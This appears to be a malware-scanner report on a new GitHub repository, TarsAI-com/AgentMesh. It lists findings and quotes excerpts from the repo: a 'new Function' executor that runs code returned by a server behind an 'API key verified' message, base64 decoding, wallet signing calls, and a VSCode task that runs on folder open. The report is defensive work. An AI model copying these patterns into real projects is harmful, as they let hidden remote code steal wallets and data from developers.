live · scanning repos
Scanrepo
github.com
DANGER
malware detected
github.com / TarsAI-com

TarsAI-com/AgentMesh

JavaScript·65 files·commit 611f2af·scanned 50m ago·cached ✓
70/100
DANGEROUS
Sensitive capability combinations reachable from entry points. Do not run without review.

This repository contains patterns associated with malware. Do NOT run this code.

verdict accurate?
Created 7 days ago
No stars or forks
Created in the last 7 days
No community activity
threat-state: dangerouslive

FINDINGS ░▒▓

criticalFunction() constructor detectednew Function() is equivalent to eval() and can execute arbitrary code strings.routes/api/auth.js
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
+5
criticalBrowser wallet app with Node/system accessThe repository interacts with browser wallets but also accesses the filesystem or executes shell/code. This context mismatch is typical of hybrid drainer/infostealer malware.+10
infoSuspicious files are not reachable from entry pointsFlagged files exist but are not imported by any entry point. They may be dead code, tests, or attack payloads triggered by another mechanism.+2
infoBase64 encoding usedatob() or Buffer.from with base64. Common in legitimate code but also used to hide malicious URLs.controllers/auth.js

const setApiKey = (s) => atob(s);

const verify = (api) =>
+2
infoBrowser wallet provider accessAccesses browser wallet providers (window.solana, window.ethereum, Phantom, Solflare, etc.). Common in Web3 apps but also the entry point for wallet drainers.frontend/src/lib/web3.jsx
function getEthereumProviders() {
  if (typeof window === 'undefined' || !window.ethereum) return [];
  if (window.ethereum.providers?.length) return window.ethereum.providers;
  return [window.ethere...
+2
infoWallet transaction signing APIUses wallet signing APIs (signTransaction, signMessage, sendTransaction, etc.). Legitimate in DeFi apps, but combined with remote exfiltration it is the core drainer pattern.frontend/src/lib/web3.jsx

    const tx = await provider.sendTransaction({
      to: toAddress,
      value: parseEther(String(amountEth)),
+2
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/lib/auth.jsx+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/pages/AgentDetailPage.jsx+3
warningFlattened or dead control flowDetected switch(true), dead if branches, or deeply nested ternaries — patterns used by obfuscators to hide execution order.frontend/src/pages/DashboardPage.jsx+3
criticalVSCode tasks.json auto-run on folder openA .vscode/tasks.json with runOn: folderOpen executes commands automatically when you open the project in VSCode..vscode/tasks.json
node: npm install -s
env
+8

Scores are heuristics. A “safe” verdict means no known-malicious patterns were found — clever malware can look boring. Wrong verdict? Flag it above; confirmed false positives become regression tests.

47 files scanned @ 611f2af | 9/25/2026 | heuristic scan — always review manually

risk by category
code execution17
network & exfiltration2
file system access4
obfuscation9
supply chain8
owasp / injection0
telemetry
files 47/65rules hit 10engine v6commit 611f2af

github

TarsAI-com/AgentMesh

JavaScript
0
0
7d
65 files
47 scanned(72%)
611f2af

architecture░▒▓

entry (2) flagged (4) pkg (24)
62 nodes · 124 edgesscroll to zoom · click node to jump to finding
⚠️ DANGEROUS (70/100) — TarsAI-com/AgentMesh — ScanRepo